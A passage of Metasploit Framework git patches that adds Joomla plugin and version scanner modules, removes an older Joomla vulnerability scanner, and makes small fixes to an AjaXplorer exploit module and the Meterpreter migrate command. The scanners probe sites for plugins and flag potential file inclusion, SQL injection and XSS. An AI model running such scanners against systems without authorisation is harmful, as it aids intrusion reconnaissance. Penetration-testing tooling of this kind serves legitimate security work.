datastore['RPORT'], + :proto => 'http', + :ntype => 'joomla_page', + :data => "#{note}: #{tpath}#{page}", + :update => :unique_data + ) + elsif (res.code == 403) + if (res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) + vprint_status("#{ip} denied access to #{ip} (SSL Required)") + elsif (res.body =~ /has a list of IP addresses that are not allowed/) + vprint_status("#{ip} restricted access by IP") + elsif (res.body =~ /SSL client certificate is required/) + vprint_status("#{ip} requires a SSL client certificate") + else + vprint_status("#{ip} ip access to #{ip} #{res.code} #{res.message}") + end + end + + return + + rescue OpenSSL::SSL::SSLError + vprint_error("#{peer} - SSL error") + return + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + vprint_error("#{peer} - Unable to Connect") + return + rescue ::Timeout::Error, ::Errno::EPIPE + vprint_error("#{peer} - Timeout error") + return + end + +end diff --git a/modules/auxiliary/scanner/http/joomla_plugins.rb b/modules/auxiliary/scanner/http/joomla_plugins.rb new file mode 100755 index 0000000000..37dff56fd4 --- /dev/null +++ b/modules/auxiliary/scanner/http/joomla_plugins.rb @@ -0,0 +1,175 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + # Huge thanks to @zeroSteiner for helping me. Also thanks to @kaospunk. Finally thanks to + # Joomscan and various MSF modules for code examples. + def initialize + super( + 'Name' => 'Joomla Plugins Scanner', + 'Description' => %q{ + This module scans a Joomla install for plugins and potential + vulnerabilities. + }, + 'Author' => [ 'newpid0' ], + 'License' => MSF_LICENSE + ) + register_options( + [ + OptString.new('TARGETURI', [ true, "The path to the Joomla install", '/']), + OptPath.new('PLUGINS', [ true, "Path to list of plugins to enumerate", File.join(Msf::Config.install_root, "data", "wordlists", "joomla.txt")]) + ], self.class) + end + + def peer + return "#{rhost}:#{rport}" + end + + def run_host(ip) + tpath = normalize_uri(target_uri.path) + if tpath[-1,1] != '/' + tpath += '/' + end + + vprint_status("#{peer} - Checking for interesting plugins") + res = send_request_cgi({ + 'uri' => tpath, + 'method' => 'GET' + }) + return if res.nil? + + res.body.gsub!(/[\r|\n]/, ' ') + File.open(datastore['PLUGINS'], 'rb').each_line do |line| + papp = line.chomp + plugin_search(tpath, papp, ip, res.body.size) + end + end + + def plugin_search(tpath, papp, ip, osize) + res = send_request_cgi({ + 'uri' => "#{tpath}#{papp}", + 'method' => 'GET' + }) + return if res.nil? + + res.body.gsub!(/[\r|\n]/, ' ') + nsize = res.body.size + + if (res.code == 200 and res.body !~/#404 Component not found/ and res.body !~/<h1>Joomla! Administration Login<\/h1>/ and osize != nsize) + print_good("#{peer} - Plugin: #{tpath}#{papp} ") + report_note( + :host => ip, + :port => rport, + :proto => 'http', + :ntype => 'joomla_plugin', + :data => "#{tpath}#{papp}", + :update => :unique_data + ) + + if (papp =~/passwd/ and res.body =~/root/) + print_good("#{peer} - Vulnerability: Potential LFI") + report_web_vuln( + :host => ip, + :port => rport, + :vhost => vhost, + :ssl => ssl, + :path => tpath, + :method => "GET", + :pname => "", + :proof => "Response with code #{res.code} contains the 'root' signature", + :risk => 1, + :confidence => 10, + :category => 'Local File Inclusion', + :description => "Joomla: Potential LFI at #{tpath}#{papp}", + :name => 'Local File Inclusion' + ) + elsif (res.body =~/SQL syntax/) + print_good("#{peer} - Vulnerability: Potential SQL Injection") + report_web_vuln( + :host => ip, + :port => rport, + :vhost => vhost, + :ssl => ssl, + :path => tpath, + :method => "GET", + :pname => "", + :proof => "Response with code #{res.code} contains the 'SQL syntax' signature", + :risk => 1, + :confidence => 10, + :category => 'SQL Injection', + :description => "Joomla: Potential SQLI at #{tpath}#{papp}", + :name => 'SQL Injection' + ) + elsif (papp =~/>alert/ and res.body =~/>alert/) + print_good("#{peer} - Vulnerability: Potential XSS") + report_web_vuln( + :host => ip, + :port => rport, + :vhost => vhost, + :ssl => ssl, + :path => tpath, + :method => "GET", + :pname => "", + :proof => "Response with code #{res.code} contains the '>alert' signature", + :risk => 1, + :confidence => 10, + :category => 'Cross Site Scripting', + :description => "Joomla: Potential XSS at #{tpath}#{papp}", + :name => 'Cross Site Scripting' + ) + elsif (papp =~/com_/) + vars = papp.split('_') + pages = vars[1].gsub('/','') + res1 = send_request_cgi({ + 'uri' => "#{tpath}index.php?option=com_#{pages}", + 'method' => 'GET' + }) + if (res1.code == 200) + print_good("#{peer} - Page: #{tpath}index.php?option=com_#{pages}") + report_note( + :host => ip, + :port => datastore['RPORT'], + :proto => 'http', + :ntype => 'joomla_page', + :data => "Page: #{tpath}index.php?option=com_#{pages}", + :update => :unique_data + ) + else + vprint_error("#{peer} - Page: #{tpath}index.php?option=com_#{pages} gave a #{res1.code} response") + end + end + elsif (res.code == 403) + if (res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) + vprint_status("#{ip} ip access to #{ip} (SSL Required)") + elsif (res.body =~ /has a list of IP addresses that are not allowed/) + vprint_status("#{ip} restricted access by IP") + elsif (res.body =~ /SSL client certificate is required/) + vprint_status("#{ip} requires a SSL client certificate") + else + vprint_status("#{ip} denied access to #{ip}#{tpath}#{papp} - #{res.code} #{res.message}") + end + end + return + + rescue OpenSSL::SSL::SSLError + vprint_error("#{peer} - SSL error") + return + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + vprint_error("#{peer} - Unable to Connect") + return + rescue ::Timeout::Error, ::Errno::EPIPE + vprint_error("#{peer} - Timeout error") + return + end + +end diff --git a/modules/auxiliary/scanner/http/joomla_version.rb b/modules/auxiliary/scanner/http/joomla_version.rb new file mode 100755 index 0000000000..5ccdfe89d7 --- /dev/null +++ b/modules/auxiliary/scanner/http/joomla_version.rb @@ -0,0 +1,176 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + # Huge thanks to @zeroSteiner for helping me. Also thanks to @kaospunk. Finally thanks to + # Joomscan and various MSF modules for code examples. + def initialize + super( + 'Name' => 'Joomla Version Scanner', + 'Description' => %q{ + This module scans a Joomla install for information about the underlying + operating system and Joomla version. + }, + 'Author' => [ 'newpid0' ], + 'License' => MSF_LICENSE + ) + register_options( + [ + OptString.new('TARGETURI', [ true, "The path to the Joomla install", '/']) + ], self.class) + end + + def peer + return "#{rhost}:#{rport}" + end + + def os_fingerprint(response) + if not response.headers.has_key?('Server') + return "Unkown OS (No Server Header)" + end + + case response.headers['Server'] + when /Win32/ + when /\(Windows/ + when /IIS/ + os = "Windows" + when /Apache\// + os = "*Nix" + else + os = "Unknown Server Header Reporting: "+response.headers['Server'] + end + return os + end + + def fingerprint(response) + case response.body + when /<version.*\/?>(.+)<\/version\/?>/i + v = $1 + out = (v =~ /^6/) ? "Joomla #{v}" : " #{v}" + when /system\.css 20196 2011\-01\-09 02\:40\:25Z ian/ + when /MooTools\.More\=\{version\:\"1\.3\.0\.1\"/ + when /en-GB\.ini 20196 2011\-01\-09 02\:40\:25Z ian/ + when /en-GB\.ini 20990 2011\-03\-18 16\:42\:30Z infograf768/ + when /20196 2011\-01\-09 02\:40\:25Z ian/ + out = "1.6" + when /system\.css 21322 2011\-05\-11 01\:10\:29Z dextercowley / + when /MooTools\.More\=\{version\:\"1\.3\.2\.1\"/ + when /22183 2011\-09\-30 09\:04\:32Z infograf768/ + when /21660 2011\-06\-23 13\:25\:32Z infograf768/ + out = "1.7" + when /Joomla! 1.5/ + when /MooTools\=\{version\:\'1\.12\'\}/ + when /11391 2009\-01\-04 13\:35\:50Z ian/ + out = "1.5" + when /Copyright \(C\) 2005 \- 2012 Open Source Matters/ + when /MooTools.More\=\{version\:\"1\.4\.0\.1\"/ + out = "2.5" + when /<meta name=\"Keywords\" content=\"(.*)\">\s+<meta name/ + out = $1.split(/,/)[0] + when /(Copyright \(C\) 2005 - 200(6|7))/ + when /47 2005\-09\-15 02\:55\:27Z rhuk/ + when /423 2005\-10\-09 18\:23\:50Z stingrey/ + when /1005 2005\-11\-13 17\:33\:59Z stingrey/ + when /1570 2005\-12\-29 05\:53\:33Z eddieajau/ + when /2368 2006\-02\-14 17\:40\:02Z stingrey/ + when /4085 2006\-06\-21 16\:03\:54Z stingrey/ + when /4756 2006\-08\-25 16\:07\:11Z stingrey/ + when /5973 2006\-12\-11 01\:26\:33Z robs/ + when /5975 2006\-12\-11 01\:26\:33Z robs/ + out = "1.0" + else + out = 'Unknown Joomla' + end + return out + end + + def check_file(tpath, file, ip) + res = send_request_cgi({ + 'uri' => "#{tpath}#{file}", + 'method' => 'GET' + }) + + return :abort if res.nil? + + res.body.gsub!(/[\r|\n]/, ' ') + + if (res.code == 200) + os = os_fingerprint(res) + out = fingerprint(res) + return false if not out + + if(out =~ /Unknown Joomla/) + print_error("#{peer} - Unable to identify Joomla Version with #{file}") + return false + else + print_good("#{peer} - Joomla Version:#{out} from: #{file} ") + print_good("#{peer} - OS: #{os}") + report_note( + :host => ip, + :port => datastore['RPORT'], + :proto => 'http', + :ntype => 'joomla_version', + :data => out + ) + return true + end + elsif (res.code == 403) + if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) + vprint_status("#{ip} denied access to #{ip} (SSL Required)") + elsif(res.body =~ /has a list of IP addresses that are not allowed/) + vprint_status("#{ip} restricted access by IP") + elsif(res.body =~ /SSL client certificate is required/) + vprint_status("#{ip} requires a SSL client certificate") + else + vprint_status("#{ip} denied access to #{ip} #{res.code} #{res.message}") + end + return :abort + end + + return false + + rescue OpenSSL::SSL::SSLError + vprint_error("#{peer} - SSL error") + return :abort + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + vprint_error("#{peer} - Unable to Connect") + return :abort + rescue ::Timeout::Error, ::Errno::EPIPE + vprint_error("#{peer} - Timeout error") + return :abort + end + + def run_host(ip) + tpath = normalize_uri(target_uri.path) + if tpath[-1,1] != '/' + tpath += '/' + end + + files = [ + 'language/en-GB/en-GB.xml', + 'templates/system/css/system.css', + 'media/system/js/mootools-more.js', + 'language/en-GB/en-GB.ini', + 'htaccess.txt', + 'language/en-GB/en-GB.com_media.ini' + ] + + vprint_status("#{peer} - Checking Joomla version") + files.each do |file| + joomla_found = check_file(tpath, file, ip) + return if joomla_found == :abort + break if joomla_found + end + end + +end diff --git a/modules/auxiliary/scanner/http/joomla_vulnscan.rb b/modules/auxiliary/scanner/http/joomla_vulnscan.rb deleted file mode 100755 index 2ad9d2f040..0000000000 --- a/modules/auxiliary/scanner/http/joomla_vulnscan.rb +++ /dev/null @@ -1,303 +0,0 @@ -## -# $Id: joomla_vulnscan.rb -## -## -# Huge thanks to @zeroSteiner for helping me. Also thanks to @kaospunk. Finally thanks to Joomscan and various MSF modules for code examples. -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::Scanner - include Msf::Auxiliary::Report - - def initialize - super( - 'Name' => 'Joomla Scanner', - 'Description' => %q{ - This module scans a Joomla install for information, plugins and potential vulnerabilites. - }, - 'Author' => [ 'newpid0' ], - 'License' => MSF_LICENSE - ) - register_options( - [ - OptString.new('TARGETURI', [ true, "The path to the Joomla install", '/']), - OptBool.new('ENUMERATE', [ false, "Enumerate Plugins", true]), - - OptPath.new('PLUGINS', [ false, "Path to list of plugins to enumerate", - File.join(Msf::Config.install_root, "data", "wordlists", "joomla.txt") - ] - ) - - ], self.class) - end - - def osfingerprint(response) - if(response.headers.has_key?('Server') ) - if(response.headers['Server'] =~/Win32/ or response.headers['Server'] =~ /\(Windows/ or response.headers['Server'] =~ /IIS/) - os = "Windows" - elsif(response.headers['Server'] =~ /Apache\// and response.headers['Server'] !~/(Win32)/) - os = "*Nix" - else - os = "Unknown Server Header Reporting: "+response.headers['Server'] - end - end - return os - end - - def fingerprint(response) - if(response.body =~ /<version.*\/?>(.+)<\/version\/?>/i) - v = $1 - out = (v =~ /^6/) ? "Joomla #{v}" : " #{v}" - elsif(response.body =~ /system\.css 20196 2011\-01\-09 02\:40\:25Z ian/ or - response.body =~ /MooTools\.More\=\{version\:\"1\.3\.0\.1\"/ or - response.body =~ /en-GB\.ini 20196 2011\-01\-09 02\:40\:25Z ian/ or - response.body =~ /en-GB\.ini 20990 2011\-03\-18 16\:42\:30Z infograf768/ or - response.body =~/20196 2011\-01\-09 02\:40\:25Z ian/) - out = "1.6" - elsif(response.body =~ /system\.css 21322 2011\-05\-11 01\:10\:29Z dextercowley / or - response.body =~ /MooTools\.More\=\{version\:\"1\.3\.2\.1\"/ or response.body =~ /22183 2011\-09\-30 09\:04\:32Z infograf768/ or response.body =~ /21660 2011\-06\-23 13\:25\:32Z infograf768/) - out = "1.7" - elsif(response.body =~ /Joomla! 1.5/ or - response.body =~ /MooTools\=\{version\:\'1\.12\'\}/ or response.body =~ /11391 2009\-01\-04 13\:35\:50Z ian/) - out = "1.5" - elsif(response.body =~ /Copyright \(C\) 2005 \- 2012 Open Source Matters/ or - response.body =~ /MooTools.More\=\{version\:\"1\.4\.0\.1\"/ ) - out = "2.5" - elsif(response.body =~ /<meta name=\"Keywords\" content=\"(.*)\">\s+<meta name/) - out = $1.split(/,/)[0] - elsif(response.body =~ /(Copyright \(C\) 2005 - 200(6|7))/ or - response.body =~/47 2005\-09\-15 02\:55\:27Z rhuk/ or response.body =~/423 2005\-10\-09 18\:23\:50Z stingrey/ or - response.body =~/1005 2005\-11\-13 17\:33\:59Z stingrey/ or response.body =~/1570 2005\-12\-29 05\:53\:33Z eddieajau/ or - response.body =~/2368 2006\-02\-14 17\:40\:02Z stingrey/ or response.body =~/4085 2006\-06\-21 16\:03\:54Z stingrey/ or - response.body =~/4756 2006\-08\-25 16\:07\:11Z stingrey/ or response.body =~/5973 2006\-12\-11 01\:26\:33Z robs/ or - response.body =~/5975 2006\-12\-11 01\:26\:33Z robs/) - out = "1.0" - else - out = 'Unknown Joomla' - end - return out - end - - def peer - return "#{rhost}:#{rport}" - end - - def run_host(ip) - tpath = normalize_uri(target_uri.path) - if tpath[-1,1] != '/' - tpath += '/' - end - apps = [ 'languaage/en-GB/en-GB.xml', - 'templates/system/css/system.css', - 'media/system/js/mootools-more.js', - 'language/en-GB/en-GB.ini','htaccess.txt', 'language/en-GB/en-GB.com_media.ini'] - iapps = ['robots.txt','administrator/index.php','admin/','index.php/using-joomla/extensions/components/users-component/registration-form', - 'index.php/component/users/?view=registration','htaccess.txt'] - vprint_status("#{peer} - Checking Joomla version") - apps.each do |app| - app_status = check_app(tpath, app, ip) - return if app_status == :abort - break if app_status - end - vprint_status("#{peer} - Checking for interesting pages") - iapps.each do |iapp| - scan_pages(tpath,iapp,ip) - end - if datastore['ENUMERATE'] - vprint_status("#{peer} - Checking for interesting plugins") - bres = send_request_cgi({ - 'uri' => tpath, - 'method' => 'GET', - }, 5) - return if not bres or not bres.body or not bres.code - bres.body.gsub!(/[\r|\n]/, ' ') - File.open(datastore['PLUGINS'], 'rb').each_line do |bapp| - papp = bapp.chomp - plugin_search(tpath,papp,ip,bres) - end - end - end - - def check_app(tpath, app, ip) - res = send_request_cgi({ - 'uri' => "#{tpath}" << app, - 'method' => 'GET', - }) - return :abort if res.nil? - return if not res or not res.body or not res.code - res.body.gsub!(/[\r|\n]/, ' ') - os = osfingerprint(res) - if (res.code == 200) - out = fingerprint(res) - return if not out - if(out =~ /Unknown Joomla/) - print_error("#{peer} - Unable to identify Joomla Version with this file #{app}") - return false - else - print_good("#{peer} - Joomla Version:#{out} from: #{app} ") - print_good("#{peer} - OS: #{os}") - report_note( - :host => ip, - :port => datastore['RPORT'], - :proto => 'http', - :ntype => 'Joomla Version', - :data => out - ) - return true - end - elsif(res.code == 403) - if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) - vprint_status("#{ip} denied access to #{ip} (SSL Required)") - elsif(res.body =~ /has a list of IP addresses that are not allowed/) - vprint_status("#{ip} restricted access by IP") - elsif(res.body =~ /SSL client certificate is required/) - vprint_status("#{ip} requires a SSL client certificate") - else - vprint_status("#{ip} denied access to #{ip} #{res.code} #{res.message}") - end - else - return - end - rescue OpenSSL::SSL::SSLError - vprint_error("#{peer} - SSL error") - return - rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError - vprint_error("#{peer} - Unable to Connect") - return - rescue ::Timeout::Error, ::Errno::EPIPE - vprint_error("#{peer} - Timeout error") - return - end - - def scan_pages(tpath, iapp, ip) - res = send_request_cgi({ - 'uri' => "#{tpath}" << iapp, - 'method' => 'GET', - }) - return if not res or not res.body or not res.code - res.body.gsub!(/[\r|\n]/, ' ') - if (res.code == 200) - if(res.body =~ /Administration Login/ and res.body =~ /\(\'form-login\'\)\.submit/ or res.body =~/administration console/) - sout = "**Administrator Login Page" - elsif(res.body =~/Registration/ and res.body =~/class="validate">Register<\/button>/) - sout = "**Registration Page" - else - sout = iapp - end - return if not sout - if(sout == iapp) - print_good("#{peer} - Page: #{tpath}#{iapp}") - elsif print_good("#{peer} - Page: #{tpath}#{iapp} #{sout}") - report_note( - :host => ip, - :port => datastore['RPORT'], - :proto => 'http', - :ntype => 'Joomla Pages', - :data => sout - ) - end - elsif(res.code == 403) - if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) - vprint_status("#{ip} denied access to #{ip} (SSL Required)") - elsif(res.body =~ /has a list of IP addresses that are not allowed/) - vprint_status("#{ip} restricted access by IP") - elsif(res.body =~ /SSL client certificate is required/) - vprint_status("#{ip} requires a SSL client certificate") - else - vprint_status("#{ip} ip access to #{ip} #{res.code} #{res.message}") - end - else - return - end - rescue OpenSSL::SSL::SSLError - vprint_error("#{peer} - SSL error") - return - rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError - vprint_error("#{peer} - Unable to Connect") - return - rescue ::Timeout::Error, ::Errno::EPIPE - vprint_error("#{peer} - Timeout error") - return - end - - def plugin_search(tpath, papp, ip, bres) - res = send_request_cgi({ - 'uri' => "#{tpath}" << papp, - 'method' => 'GET', - }) - return if not res or not res.body or not res.code - res.body.gsub!(/[\r|\n]/, ' ') - osize = bres.body.size - nsize = res.body.size - if (res.code == 200 and res.body !~/#404 Component not found/ and res.body !~/<h1>Joomla! Administration Login<\/h1>/ and osize != nsize) - print_good("#{peer} - Plugin: #{tpath}#{papp} ") - if (papp =~/passwd/ and res.body !~/root/) - vprint_error("#{peer} - Vulnerability: LFI not found") - elsif(papp =~/passwd/ and res.body =~/root/) - print_good("#{peer} - Vulnerability: Potential LFI") - elsif(papp =~/'/ or papp =~/union/ or papp =~/sqli/ or papp =~/-\d/ and papp !~/alert/ and res.body =~/SQL syntax/) - print_good("#{peer} - Vulnerability: Potential SQL Injection") - elsif(papp =~/'/ or papp =~/union/ or papp =~/sqli/ or papp =~/-\d/ and papp !~/alert/ and res.body !~/SQL syntax/) - vprint_error("#{peer} - Vulnerability: Unable to identify SQL injection") - elsif(papp =~/>alert/ and res.body !~/>alert/) - vprint_error("#{peer} - Vulnerability: No XSS") - elsif(papp =~/>alert/ and res.body =~/>alert/) - print_good("#{peer} - Vulnerability: Potential XSS") - elsif(res.body =~/SQL syntax/ ) - print_good("#{peer} - Vulnerability: Potential SQL Injection") - elsif(papp =~/com_/) - vars = papp.split('_') - pages = vars[1].gsub('/','') - res1 = send_request_cgi({ - 'uri' => "#{tpath}"<<"index.php?option=com_#{pages}", - 'method' => 'GET', - }, 5) - if (res1.code == 200) - print_good("#{peer} - Page: #{tpath}index.php?option=com_#{pages}") - else - vprint_error("#{peer} - Page: #{tpath}"<<"index.php?option=com_#{pages} gave a #{res1.code.to_s} response") - end - end - report_note( - :host => ip, - :port => datastore['RPORT'], - :proto => 'http', - :ntype => 'Plugin Found', - :data => papp - ) - elsif(res.code == 403) - if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) - vprint_status("#{ip} ip access to #{ip} (SSL Required)") - elsif(res.body =~ /has a list of IP addresses that are not allowed/) - vprint_status("#{ip} restricted access by IP") - elsif(res.body =~ /SSL client certificate is required/) - vprint_status("#{ip} requires a SSL client certificate") - else - vprint_status("#{ip} denied access to #{ip}#{tpath}#{papp} - #{res.code} #{res.message}") - end - else - return - end - - rescue OpenSSL::SSL::SSLError - vprint_error("#{peer} - SSL error") - return - rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError - vprint_error("#{peer} - Unable to Connect") - return - rescue ::Timeout::Error, ::Errno::EPIPE - vprint_error("#{peer} - Timeout error") - return - end - - - -end From 01b7e3554ee6575fd561d91789fd93ce5bdf089d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Fri, 25 Jan 2013 22:05:09 +0100 Subject: [PATCH 84/87] fix issue found by newpid0 --- .../auxiliary/scanner/http/joomla_version.rb | 52 +++++++++---------- 1 file changed, 25 insertions(+), 27 deletions(-) diff --git a/modules/auxiliary/scanner/http/joomla_version.rb b/modules/auxiliary/scanner/http/joomla_version.rb index 5ccdfe89d7..f0ebb7cbda 100755 --- a/modules/auxiliary/scanner/http/joomla_version.rb +++ b/modules/auxiliary/scanner/http/joomla_version.rb @@ -40,9 +40,7 @@ class Metasploit3 < Msf::Auxiliary end case response.headers['Server'] - when /Win32/ - when /\(Windows/ - when /IIS/ + when /Win32/, /\(Windows/, /IIS/ os = "Windows" when /Apache\// os = "*Nix" @@ -57,36 +55,36 @@ class Metasploit3 < Msf::Auxiliary when /<version.*\/?>(.+)<\/version\/?>/i v = $1 out = (v =~ /^6/) ? "Joomla #{v}" : " #{v}" - when /system\.css 20196 2011\-01\-09 02\:40\:25Z ian/ - when /MooTools\.More\=\{version\:\"1\.3\.0\.1\"/ - when /en-GB\.ini 20196 2011\-01\-09 02\:40\:25Z ian/ - when /en-GB\.ini 20990 2011\-03\-18 16\:42\:30Z infograf768/ - when /20196 2011\-01\-09 02\:40\:25Z ian/ + when /system\.css 20196 2011\-01\-09 02\:40\:25Z ian/, + /MooTools\.More\=\{version\:\"1\.3\.0\.1\"/, + /en-GB\.ini 20196 2011\-01\-09 02\:40\:25Z ian/, + /en-GB\.ini 20990 2011\-03\-18 16\:42\:30Z infograf768/, + /20196 2011\-01\-09 02\:40\:25Z ian/ out = "1.6" - when /system\.css 21322 2011\-05\-11 01\:10\:29Z dextercowley / - when /MooTools\.More\=\{version\:\"1\.3\.2\.1\"/ - when /22183 2011\-09\-30 09\:04\:32Z infograf768/ - when /21660 2011\-06\-23 13\:25\:32Z infograf768/ + when /system\.css 21322 2011\-05\-11 01\:10\:29Z dextercowley /, + /MooTools\.More\=\{version\:\"1\.3\.2\.1\"/, + /22183 2011\-09\-30 09\:04\:32Z infograf768/, + /21660 2011\-06\-23 13\:25\:32Z infograf768/ out = "1.7" - when /Joomla! 1.5/ - when /MooTools\=\{version\:\'1\.12\'\}/ - when /11391 2009\-01\-04 13\:35\:50Z ian/ + when /Joomla! 1.5/, + /MooTools\=\{version\:\'1\.12\'\}/, + /11391 2009\-01\-04 13\:35\:50Z ian/ out = "1.5" - when /Copyright \(C\) 2005 \- 2012 Open Source Matters/ - when /MooTools.More\=\{version\:\"1\.4\.0\.1\"/ + when /Copyright \(C\) 2005 \- 2012 Open Source Matters/, + /MooTools.More\=\{version\:\"1\.4\.0\.1\"/ out = "2.5" when /<meta name=\"Keywords\" content=\"(.*)\">\s+<meta name/ out = $1.split(/,/)[0] - when /(Copyright \(C\) 2005 - 200(6|7))/ - when /47 2005\-09\-15 02\:55\:27Z rhuk/ - when /423 2005\-10\-09 18\:23\:50Z stingrey/ - when /1005 2005\-11\-13 17\:33\:59Z stingrey/ - when /1570 2005\-12\-29 05\:53\:33Z eddieajau/ - when /2368 2006\-02\-14 17\:40\:02Z stingrey/ - when /4085 2006\-06\-21 16\:03\:54Z stingrey/ - when /4756 2006\-08\-25 16\:07\:11Z stingrey/ - when /5973 2006\-12\-11 01\:26\:33Z robs/ - when /5975 2006\-12\-11 01\:26\:33Z robs/ + when /(Copyright \(C\) 2005 - 200(6|7))/, + /47 2005\-09\-15 02\:55\:27Z rhuk/, + /423 2005\-10\-09 18\:23\:50Z stingrey/, + /1005 2005\-11\-13 17\:33\:59Z stingrey/, + /1570 2005\-12\-29 05\:53\:33Z eddieajau/, + /2368 2006\-02\-14 17\:40\:02Z stingrey/, + /4085 2006\-06\-21 16\:03\:54Z stingrey/, + /4756 2006\-08\-25 16\:07\:11Z stingrey/, + /5973 2006\-12\-11 01\:26\:33Z robs/, + /5975 2006\-12\-11 01\:26\:33Z robs/ out = "1.0" else out = 'Unknown Joomla' From 49aac302e6acf495dba9a024bd1ef13870080c84 Mon Sep 17 00:00:00 2001 From: sinn3r <msfsinn3r@gmail.com> Date: Sat, 26 Jan 2013 22:57:01 -0600 Subject: [PATCH 85/87] normalize_uri() breaks URI parsing Please see: http://dev.metasploit.com/redmine/issues/7727 --- modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb index 0895037634..d9c8e87e8d 100644 --- a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb +++ b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb @@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit peer = "#{rhost}:#{rport}" uri = normalize_uri(target_uri.path) - uri << '/' if target_uri.path[-1,1] != '/' + uri << '/' if uri[-1,1] != '/' # Trigger the command execution bug res = send_request_cgi({ From 169f91159e00044dd7f475b5520682c3911371c6 Mon Sep 17 00:00:00 2001 From: rogueclown <rogueclown@rogueclown.net> Date: Sun, 27 Jan 2013 21:18:49 -0600 Subject: [PATCH 86/87] added 'from' PID to meterpreter migrate message --- lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index cb6aca1ca6..8005b3b66d 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -342,7 +342,8 @@ class Console::CommandDispatcher::Core return end - print_status("Migrating to #{pid}...") + server = client.sys.process.open + print_status("Migrating from #{server.pid} to #{pid}...") # Do this thang. client.core.migrate(pid) From fc833ea8df544a884712c7acc3620efdb6d993ba Mon Sep 17 00:00:00 2001 From: sinn3r <msfsinn3r@gmail.com> Date: Mon, 28 Jan 2013 10:30:59 -0600 Subject: [PATCH 87/87] Catch exceptions and return value --- .../meterpreter/ui/console/command_dispatcher/core.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 8005b3b66d..6d8fc9ae3a 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -342,8 +342,15 @@ class Console::CommandDispatcher::Core return end - server = client.sys.process.open - print_status("Migrating from #{server.pid} to #{pid}...") + begin + server = client.sys.process.open + rescue TimeoutError => e + elog(e.to_s) + rescue RequestError => e + elog(e.to_s) + end + + server ? print_status("Migrating from #{server.pid} to #{pid}...") : print_status("Migrating to #{pid}") # Do this thang. client.core.migrate(pid)